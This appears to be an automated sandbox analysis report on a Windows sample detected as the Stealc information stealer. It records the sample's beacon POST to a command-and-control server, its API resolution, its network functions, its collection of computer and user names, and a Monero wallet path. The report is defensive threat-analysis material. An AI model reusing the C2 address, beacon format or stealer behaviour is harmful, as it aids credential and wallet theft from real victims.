Oct 8, 2024 21:42:18.563785076 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGCBGCAFIIECBFIDHIJK Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 42 37 43 36 42 39 38 41 36 31 39 44 31 35 32 34 37 35 30 30 33 37 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="hwid"B7C6B98A619D1524750037------BGCBGCAFIIECBFIDHIJKContent-Disposition: form-data; name="build"doma------BGCBGCAFIIECBFIDHIJK--
Oct 8, 2024 21:42:18.802558899 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 19:42:18 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	15:42:14
Start date:	08/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xe40000
File size:	1'853'440 bytes
MD5 hash:	02978BAE9BECB20A4BA6F439F8EB552F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2208867559.0000000001C9E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2167723747.0000000005830000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00E59860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(75900000,01CB14F8), ref: 00E598A1
GetProcAddress.KERNEL32(75900000,01CB1648), ref: 00E598BA
GetProcAddress.KERNEL32(75900000,01CB15B8), ref: 00E598D2
GetProcAddress.KERNEL32(75900000,01CB1528), ref: 00E598EA
GetProcAddress.KERNEL32(75900000,01CB1690), ref: 00E59903
GetProcAddress.KERNEL32(75900000,01CB9AD0), ref: 00E5991B
GetProcAddress.KERNEL32(75900000,01CA66E0), ref: 00E59933
GetProcAddress.KERNEL32(75900000,01CA6860), ref: 00E5994C
GetProcAddress.KERNEL32(75900000,01CB1678), ref: 00E59964
GetProcAddress.KERNEL32(75900000,01CB16A8), ref: 00E5997C
GetProcAddress.KERNEL32(75900000,01CB1738), ref: 00E59995
GetProcAddress.KERNEL32(75900000,01CB16C0), ref: 00E599AD
GetProcAddress.KERNEL32(75900000,01CA6880), ref: 00E599C5
GetProcAddress.KERNEL32(75900000,01CB16D8), ref: 00E599DE
GetProcAddress.KERNEL32(75900000,01CB1588), ref: 00E599F6
GetProcAddress.KERNEL32(75900000,01CA6700), ref: 00E59A0E
GetProcAddress.KERNEL32(75900000,01CB1798), ref: 00E59A27
GetProcAddress.KERNEL32(75900000,01CB1858), ref: 00E59A3F
GetProcAddress.KERNEL32(75900000,01CA66C0), ref: 00E59A57
GetProcAddress.KERNEL32(75900000,01CB1870), ref: 00E59A70
GetProcAddress.KERNEL32(75900000,01CA69A0), ref: 00E59A88
LoadLibraryA.KERNEL32(01CB17E0,?,00E56A00), ref: 00E59A9A
LoadLibraryA.KERNEL32(01CB17C8,?,00E56A00), ref: 00E59AAB
LoadLibraryA.KERNEL32(01CB17F8,?,00E56A00), ref: 00E59ABD
LoadLibraryA.KERNEL32(01CB1810,?,00E56A00), ref: 00E59ACF
LoadLibraryA.KERNEL32(01CB1888,?,00E56A00), ref: 00E59AE0
GetProcAddress.KERNEL32(75070000,01CB1828), ref: 00E59B02
GetProcAddress.KERNEL32(75FD0000,01CB1840), ref: 00E59B23
GetProcAddress.KERNEL32(75FD0000,01CB9D48), ref: 00E59B3B
GetProcAddress.KERNEL32(75A50000,01CB9CE8), ref: 00E59B5D
GetProcAddress.KERNEL32(74E50000,01CA6960), ref: 00E59B7E
GetProcAddress.KERNEL32(76E80000,01CB9A90), ref: 00E59B9F
GetProcAddress.KERNEL32(76E80000,NtQueryInformationProcess), ref: 00E59BB6

Strings

NtQueryInformationProcess, xrefs: 00E59BAA

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: 7f4a083cc688c389ba15c94fdba1c41704982b388515214bf4b6d5402e637e90
Instruction ID: 284539fc4dcd1ff910f64f1238b50349aeaa06bbbf7eb8721a5bcb288bce498d
Opcode Fuzzy Hash: 7f4a083cc688c389ba15c94fdba1c41704982b388515214bf4b6d5402e637e90
Instruction Fuzzy Hash: 71A14BB5718200DFD364EFA8E988A5E37F9F78C711704451BA6C693A4CD63FA452EB20

Function 00E445C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00E4460F
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00E4479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E445E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E445D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E4475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E4473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E4462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E4466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E4477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E445C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E446D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E4471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E445F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E446CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E446B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E446AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E4474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E445DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E446C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00E44770

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: e5ca1647b0504cc14701e36f90aa6d234e4958a3cd496d758d274f07a3931e61
Instruction ID: 163abd6a8554feae7ba0a380251820624273db74ec8632675a9ca6ebdcc2e8b0
Opcode Fuzzy Hash: e5ca1647b0504cc14701e36f90aa6d234e4958a3cd496d758d274f07a3931e61
Instruction Fuzzy Hash: 1741F4637CA704EACE34BBA4B84EF9D7A965FCAB50F907254EE1062290DBB0751045B2

Function 00E44880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E5A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E5A7E6

Part of subcall function 00E447B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00E44839
Part of subcall function 00E447B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00E44849

Part of subcall function 00E5A740: lstrcpy.KERNEL32(00E60E17,00000000), ref: 00E5A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00E44915
StrCmpCA.SHLWAPI(?,01CBF318), ref: 00E4493A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00E44ABA
lstrlen.KERNEL32(00000000,00000000,?,?,?,?,00E60DDB,00000000,?,?,00000000,?,",00000000,?,01CBF278), ref: 00E44DE8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00E44E04
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00E44E18
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00E44E49
InternetCloseHandle.WININET(00000000), ref: 00E44EAD
InternetCloseHandle.WININET(00000000), ref: 00E44EC5
HttpOpenRequestA.WININET(00000000,01CBF398,?,01CBE7B0,00000000,00000000,00400100,00000000), ref: 00E44B15

Part of subcall function 00E5A9B0: lstrlen.KERNEL32(?,01CB97A0,?,\Monero\wallet.keys,00E60E17), ref: 00E5A9C5
Part of subcall function 00E5A9B0: lstrcpy.KERNEL32(00000000), ref: 00E5AA04
Part of subcall function 00E5A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E5AA12

Part of subcall function 00E5A8A0: lstrcpy.KERNEL32(?,00E60E17), ref: 00E5A905

Part of subcall function 00E5A920: lstrcpy.KERNEL32(00000000,?), ref: 00E5A972
Part of subcall function 00E5A920: lstrcat.KERNEL32(00000000), ref: 00E5A982

InternetCloseHandle.WININET(00000000), ref: 00E44ECF

Strings

------, xrefs: 00E44B28
", xrefs: 00E44D33
", xrefs: 00E44BF2
------, xrefs: 00E44C69
------, xrefs: 00E449BD

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$ConnectCrackFileReadSend
String ID: "$"$------$------$------
API String ID: 460715078-2180234286
Opcode ID: d73541846a052961d4111e67b371b8b608fe708e33a166731f7fa3956d71c039
Instruction ID: 3b4a2eef7c6c931751dea405709e802f5114374eb63366baa8448ede254c3d94
Opcode Fuzzy Hash: d73541846a052961d4111e67b371b8b608fe708e33a166731f7fa3956d71c039
Instruction Fuzzy Hash: 09120B72910218AADB19EB90DC96FEEB3B8BF54301F5456A9B50672091EF302F4DCF61

Function 00E578E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00E57910
RtlAllocateHeap.NTDLL(00000000), ref: 00E57917
GetComputerNameA.KERNEL32(?,00000104), ref: 00E5792F

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 898634258535f27605333821e63df29c6cb41a02b19dbae0f525cc80d20bdc8d
Instruction ID: a7c516a18fa88b24245f24e18f7aa440b4b379efb867506dd05056493353d163
Opcode Fuzzy Hash: 898634258535f27605333821e63df29c6cb41a02b19dbae0f525cc80d20bdc8d
Instruction Fuzzy Hash: 870186B1A48204EBC750DF94D945FAEFBB8F744B21F10461AFA85F3680C37959048BB1

Function 00E57850 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00E411B7), ref: 00E57880
RtlAllocateHeap.NTDLL(00000000), ref: 00E57887
GetUserNameA.ADVAPI32(00000104,00000104), ref: 00E5789F

Memory Dump Source

Source File: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: d5309c9b28e5b0de81a19a0b11a5ade630d21fab261825e98cc6d422e3846a35
Instruction ID: 9b9eb9cae73bfd555ac9e24c21340174466292f71cbdbae5ab2567af0211762f
Opcode Fuzzy Hash: d5309c9b28e5b0de81a19a0b11a5ade630d21fab261825e98cc6d422e3846a35
Instruction Fuzzy Hash: 60F04FB1E48208EBC714DF98DD49BAEBBB8FB04721F10065AFA45A3680C77915048BA1

Function 01248B89 Relevance: 3.2, APIs: 1, Strings: 1, Instructions: 180COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 01248BE9

Strings

7T{, xrefs: 01248CCF

Memory Dump Source

Source File: 00000000.00000002.2208200230.0000000001230000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000000.00000002.2207963445.0000000000E40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000E41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000EFD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.0000000000F22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2207985094.000000000108A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000109E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000130B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.000000000132E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001335000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208200230.0000000001344000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208520311.0000000001345000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208654995.00000000014E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2208668490.00000000014E4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e40000_file.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID: 7T{
API String ID: 2962429428-3012325311
